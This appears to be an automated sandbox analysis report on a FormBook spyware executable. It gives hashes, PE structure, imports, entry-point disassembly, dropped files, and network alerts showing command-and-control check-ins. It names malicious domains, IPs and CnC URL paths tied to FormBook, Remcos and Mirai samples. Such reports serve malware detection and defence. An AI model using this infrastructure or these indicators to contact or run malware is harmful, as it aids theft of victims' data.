                            Classification:mal100.troj.spyw.evad.winEXE@7/2@3/2
                            EGA Information:
                            • Successful, ratio: 75%
                            HCA Information:
                            • Successful, ratio: 92%
                            • Number of executed functions: 51
                            • Number of non-executed functions: 311
                            Cookbook Comments:
                            • Found application associated with file extension: .exe

                            Warnings

                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                            • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                            • Not all processes where analyzed, report is missing behavior information
                            • Report creation exceeded maximum time and may have missing disassembly code information.
                            • Report size exceeded maximum capacity and may have missing disassembly code.
                            • VT rate limit hit for: oLCnCWQDhK.exe

                            Simulations

                            Behavior and APIs

                            TimeTypeDescription
                            11:03:53API Interceptor25x Sleep call for process: wextract.exe modified

                            Joe Sandbox View / Context

                            IPs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            84.32.84.32N2Qncau2rN.exeGet hashmaliciousFormBookBrowse
                            • www.es-lidl.online/n2dv/
                            RQ#071024.exeGet hashmaliciousFormBookBrowse
                            • www.thepeatear.online/lu5k/?O47=ODXYj9SHKZJf+lLWSD5bWs33an1UuUSGPEbmaLn0QSdqh031jXaTcKLg1x+9N8O9by/Xp7E95P2c73d08b4WEpTb1KZHJdxLaSQTbLs0J3NdMMrdrQ==&LT=aZbPzzPX3H
                            8mmZ7Bkoj1.exeGet hashmaliciousFormBookBrowse
                            • www.thepeatear.online/pt4m/
                            Products Order Catalogs20242.exeGet hashmaliciousFormBookBrowse
                            • www.pinkpantys.shop/cyro/
                            YSjOEAta07.exeGet hashmaliciousFormBookBrowse
                            • www.pakmartcentral.shop/ml5l/
                            Pending invoices.exeGet hashmaliciousFormBookBrowse
                            • www.b-ambu.com/a2tr/
                            PURCHASE ORDER-6350.exeGet hashmaliciousFormBookBrowse
                            • www.agilizeimob.app/we8s/
                            Narudzba ACH0036173.vbeGet hashmaliciousFormBook, GuLoaderBrowse
                            • www.casesrep.site/7z6q/
                            -pdf.bat.exeGet hashmaliciousFormBookBrowse
                            • www.dfmagazine.shop/7k8f/
                            DHL_ 46773482.exeGet hashmaliciousFormBookBrowse
                            • www.agilizeimob.app/bnrj/
                            198.44.251.203SOA SEPT 2024.exeGet hashmaliciousFormBookBrowse
                            • www.n0pme6.top/2i77/
                            September Order.exeGet hashmaliciousFormBookBrowse
                            • www.n0pme6.top/v236/

                            Domains

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            www.n0pme6.topSOA SEPT 2024.exeGet hashmaliciousFormBookBrowse
                            • 198.44.251.203
                            Order.exeGet hashmaliciousFormBookBrowse
                            • 198.44.251.51
                            Order 001-1.exeGet hashmaliciousFormBookBrowse
                            • 198.44.251.51
                            notificacion_de_credito__PDF__.exeGet hashmaliciousFormBookBrowse
                            • 198.44.251.51
                            September Order.exeGet hashmaliciousFormBookBrowse
                            • 198.44.251.203

                            ASNs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            NTT-LT-ASLTN2Qncau2rN.exeGet hashmaliciousFormBookBrowse
                            • 84.32.84.32
                            RQ#071024.exeGet hashmaliciousFormBookBrowse
                            • 84.32.84.32
                            8mmZ7Bkoj1.exeGet hashmaliciousFormBookBrowse
                            • 84.32.84.32
                            Products Order Catalogs20242.exeGet hashmaliciousFormBookBrowse
                            • 84.32.84.32
                            YSjOEAta07.exeGet hashmaliciousFormBookBrowse
                            • 84.32.84.32
                            Pending invoices.exeGet hashmaliciousFormBookBrowse
                            • 84.32.84.32
                            SOA SEPT 2024.exeGet hashmaliciousFormBookBrowse
                            • 84.32.84.32
                            PURCHASE ORDER-6350.exeGet hashmaliciousFormBookBrowse
                            • 84.32.84.32
                            1728239644b6c097b50f50c5ed70baa52a8cacbfdc1e82b38c0aa5c471e1a07dbef595bc59540.dat-decoded.exeGet hashmaliciousRemcosBrowse
                            • 84.32.44.139
                            MKWbWHd5Ni.rtfGet hashmaliciousRemcosBrowse
                            • 84.32.44.139
                            IKGUL-26484USna.elfGet hashmaliciousUnknownBrowse
                            • 154.205.144.234
                            na.elfGet hashmaliciousUnknownBrowse
                            • 154.205.144.234
                            na.elfGet hashmaliciousUnknownBrowse
                            • 154.205.144.234
                            na.elfGet hashmaliciousMiraiBrowse
                            • 156.252.161.152
                            SOA SEPT 2024.exeGet hashmaliciousFormBookBrowse
                            • 198.44.251.203
                            na.elfGet hashmaliciousMiraiBrowse
                            • 154.219.20.183
                            na.elfGet hashmaliciousMiraiBrowse
                            • 156.249.231.145
                            na.elfGet hashmaliciousMiraiBrowse
                            • 156.249.132.19
                            na.elfGet hashmaliciousMiraiBrowse
                            • 156.249.231.136
                            gmpsl.elfGet hashmaliciousMiraiBrowse
                            • 156.238.135.134

                            JA3 Fingerprints

                            ⊘No context

                            Dropped Files

                            ⊘No context

                            Created / dropped Files

                            C:\Users\user\AppData\Local\Temp\78-E67-I

                            Download File
                            Process:C:\Windows\SysWOW64\wextract.exe
                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                            Category:modified
                            Size (bytes):196608
                            Entropy (8bit):1.1215420383712111
                            Encrypted:false
                            SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                            MD5:9A809AD8B1FDDA60760BB6253358A1DB
                            SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                            SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                            SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                            Malicious:false
                            Reputation:moderate, very likely benign file
                            Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Temp\sulfhydric

                            Download File
                            Process:C:\Users\user\Desktop\oLCnCWQDhK.exe
                            File Type:data
                            Category:modified
                            Size (bytes):286208
                            Entropy (8bit):7.994824214598057
                            Encrypted:true
                            SSDEEP:6144:yhBc/s4NWDuWnFufNk8mCbGwT+qSsbWwO9xxMOPCD90d4L0M4K5:cW/iuOINk8ZbtTKsiFx+6CCK5
                            MD5:6F6BE093894E118B12E35B864D67882A
                            SHA1:B4AFA269D2FA2B3A821EB418C13AAC485FDCD164
                            SHA-256:E71C2606CC420DC29755D83E1CFB595E6708EFD05D9412135CE7287E465555B0
                            SHA-512:9C98530349144429F3DB6EACA02324E3D7C77D6ED6F5988D8EF49DE8495E1CCDA8BA2B2AFDC1BC38E49567DDAD17903A310E93AF6F66024E5B4B82BE00CE895C
                            Malicious:false
                            Reputation:low
                            Preview:.c.c.VWRJ..>....f.WQ..d4Y..ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWR.MOL9N.V1._.s.L....Q1Bz&%=-?.!.2X6_5"w0/m=9YqP6....r'"+).\4R.ZVWRJMO56X.eQ=.j2-.r,P.#...l75.W...mY?.@...v-(.e8Z0.:1.RJMOL7Q9.tZV.SKM..~19X1ZVWRJ.ON6Z8S1Z.SRJMOL7Q9X.NVWRZMOLWU9X1.VWBJMON7Q?X1ZVWRJKOL7Q9X1Z6SRJOOL7Q9X3Z..RJ]OL'Q9X1JVWBJMOL7Q)X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X..3/&JMO.|U9X!ZVW.NMO\7Q9X1ZVWRJMOL7q9XQZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL7Q9X1ZVWRJMOL

                            Static File Info

                            General

                            File type:PE32 executable (GUI) Intel 80386, for MS Windows
                            Entropy (8bit):7.551486962086991
                            TrID:
                            • Win32 Executable (generic) a (10002005/4) 99.96%
                            • Generic Win/DOS Executable (2004/3) 0.02%
                            • DOS Executable Generic (2002/1) 0.02%
                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                            File name:oLCnCWQDhK.exe
                            File size:1'396'191 bytes
                            MD5:6fb6b6ccf47f2867f674c818b974ea28
                            SHA1:24e274ffb15837b50eb739e2bba906cef39aa99f
                            SHA256:09e15623dc49aa61d1d72e7a158d20c671093901c365fd2d5cbbf449d535a88a
                            SHA512:ab14ec2750c06d690f9d4386d6c0efc861083733a7b9a6bc8ecdbcc17ddcad9bf9b46ddb0eeab833516cde794036aad1badd5db269652b4a36848027090efb0f
                            SSDEEP:24576:LRmJkcoQricOIQxiZY1WNyhSGtH+8APIY1QouVFdmLRFQ90SlM:IJZoQrbTFZY1WNyQGte8e3uVOLRm90F
                            TLSH:0455F122F5C69035C2B327B19E7EF76A9A3D79360336D19733C82D315EA05416B2A723
                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

                            File Icon

                            Icon Hash:1733312925935517

                            Static PE Info

                            General

                            Entrypoint:0x4165c1
                            Entrypoint Section:.text
                            Digitally signed:false
                            Imagebase:0x400000
                            Subsystem:windows gui
                            Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                            DLL Characteristics:TERMINAL_SERVER_AWARE
                            Time Stamp:0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
                            TLS Callbacks:
                            CLR (.Net) Version:
                            OS Version Major:5
                            OS Version Minor:0
                            File Version Major:5
                            File Version Minor:0
                            Subsystem Version Major:5
                            Subsystem Version Minor:0
                            Import Hash:369fe35b86c83b3130c02698158a4d4d

                            Entrypoint Preview

                            Instruction
                            call 00007F19008440DBh
                            jmp 00007F190083AF4Eh
                            int3
                            int3
                            int3
                            int3
                            int3
                            push ebp
                            mov ebp, esp
                            push edi
                            push esi
                            mov esi, dword ptr [ebp+0Ch]
                            mov ecx, dword ptr [ebp+10h]
                            mov edi, dword ptr [ebp+08h]
                            mov eax, ecx
                            mov edx, ecx
                            add eax, esi
                            cmp edi, esi
                            jbe 00007F190083B0CAh
                            cmp edi, eax
                            jc 00007F190083B266h
                            cmp ecx, 00000080h
                            jc 00007F190083B0DEh
                            cmp dword ptr [004A9724h], 00000000h
                            je 00007F190083B0D5h
                            push edi
                            push esi
                            and edi, 0Fh
                            and esi, 0Fh
                            cmp edi, esi
                            pop esi
                            pop edi
                            jne 00007F190083B0C7h
                            jmp 00007F190083B4A2h
                            test edi, 00000003h
                            jne 00007F190083B0D6h
                            shr ecx, 02h
                            and edx, 03h
                            cmp ecx, 08h
                            jc 00007F190083B0EBh
                            rep movsd
                            jmp dword ptr [00416740h+edx*4]
                            mov eax, edi
                            mov edx, 00000003h
                            sub ecx, 04h
                            jc 00007F190083B0CEh
                            and eax, 03h
                            add ecx, eax
                            jmp dword ptr [00416654h+eax*4]
                            jmp dword ptr [00416750h+ecx*4]
                            nop
                            jmp dword ptr [004166D4h+ecx*4]
                            nop
                            inc cx
                            add byte ptr [eax-4BFFBE9Ah], dl
                            inc cx
                            add byte ptr [ebx], ah
                            ror dword ptr [edx-75F877FAh], 1
                            inc esi
                            add dword ptr [eax+468A0147h], ecx
                            add al, cl
                            jmp 00007F1902CB38C7h
                            add esi, 03h
                            add edi, 03h
                            cmp ecx, 08h
                            jc 00007F190083B08Eh
                            rep movsd
                            jmp dword ptr [00000000h+edx*4]

                            Rich Headers

                            Programming Language:
                            • [ C ] VS2010 SP1 build 40219
                            • [C++] VS2010 SP1 build 40219
                            • [ C ] VS2008 SP1 build 30729
                            • [IMP] VS2008 SP1 build 30729
                            • [ASM] VS2010 SP1 build 40219
                            • [RES] VS2010 SP1 build 40219
                            • [LNK] VS2010 SP1 build 40219

                            Data Directories

                            NameVirtual AddressVirtual Size Is in Section
                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                            IMAGE_DIRECTORY_ENTRY_IMPORT0x8d41c0x154.rdata
                            IMAGE_DIRECTORY_ENTRY_RESOURCE0xab0000x9328.rsrc
                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                            IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                            Sections

                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                            .text0x10000x8061c0x8080061ffce4768976fa0dd2a8f6a97b1417aFalse0.5583182605787937data6.684690148171278IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                            .rdata0x820000xdfc00xe000f0991b788ac34ea4b210673093655317False0.3256312779017857data4.484090180677536IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                            .data0x900000x1a7580x68008033f5a38941b4685bc2299e78f31221False0.15324519230769232data2.1500715391677487IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                            .rsrc0xab0000x93280x94002c856ae1256931ca4a68d9d8ffe94661False0.4900760135135135data5.5412345511514465IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                            Resources

                            NameRVASizeTypeLanguageCountryZLIB Complexity
                            RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                            RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                            RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                            RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                            RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                            RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                            RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                            RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                            RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                            RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                            RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
                            RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                            RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                            RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                            RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                            RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                            RT_STRING0xb28380x4d0dataEnglishGreat Britain0.36363636363636365
                            RT_STRING0xb2d080x5fcdataEnglishGreat Britain0.3087467362924282
                            RT_STRING0xb33080x65cdataEnglishGreat Britain0.34336609336609336
                            RT_STRING0xb39680x388dataEnglishGreat Britain0.377212389380531
                            RT_STRING0xb3cf00x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                            RT_GROUP_ICON0xb3e480x84dataEnglishGreat Britain0.6439393939393939
                            RT_GROUP_ICON0xb3ed00x14dataEnglishGreat Britain1.15
                            RT_GROUP_ICON0xb3ee80x14dataEnglishGreat Britain1.25
                            RT_GROUP_ICON0xb3f000x14dataEnglishGreat Britain1.25
                            RT_VERSION0xb3f180x19cdataEnglishGreat Britain0.5339805825242718
                            RT_MANIFEST0xb40b80x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581

                            Imports

                            DLLImport
                            KERNEL32.DLLHeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
                            ADVAPI32.dllRegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
                            COMCTL32.dllImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
                            COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                            GDI32.dllDeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
                            MPR.dllWNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
                            ole32.dllOleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
                            OLEAUT32.dllVariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit
                            PSAPI.DLLEnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
                            SHELL32.dllDragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                            USER32.dllGetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
                            USERENV.dllCreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
                            VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                            WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
                            WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                            WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv

                            Possible Origin

                            Language of compilation systemCountry where language is spokenMap
                            EnglishGreat Britain
                            EnglishUnited States

                            Network Behavior

                            Suricata IDS Alerts

                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                            2024-10-08T15:44:07.976740+02002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.749974198.44.251.20380TCP
                            2024-10-08T15:45:37.631608+02002855465ETPRO MALWARE FormBook CnC Checkin (GET) M21192.168.2.74997084.32.84.3280TCP
                            2024-10-08T15:45:54.852327+02002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.749971198.44.251.20380TCP
                            2024-10-08T15:45:57.399175+02002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.749972198.44.251.20380TCP
                            2024-10-08T15:45:59.977238+02002855464ETPRO MALWARE FormBook CnC Checkin (POST) M31192.168.2.749973198.44.251.20380TCP

                            Network Port Distribution

                            TCP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Oct 8, 2024 15:45:37.145447016 CEST4997080192.168.2.784.32.84.32
                            Oct 8, 2024 15:45:37.150533915 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.150768995 CEST4997080192.168.2.784.32.84.32
                            Oct 8, 2024 15:45:37.158478022 CEST4997080192.168.2.784.32.84.32
                            Oct 8, 2024 15:45:37.163475990 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.630897999 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.631547928 CEST804997084.32.84.32192.168.2.7
                            Oct 8, 2024 15:45:37.631556988 CEST804997084.32.84.32192.168.2.7
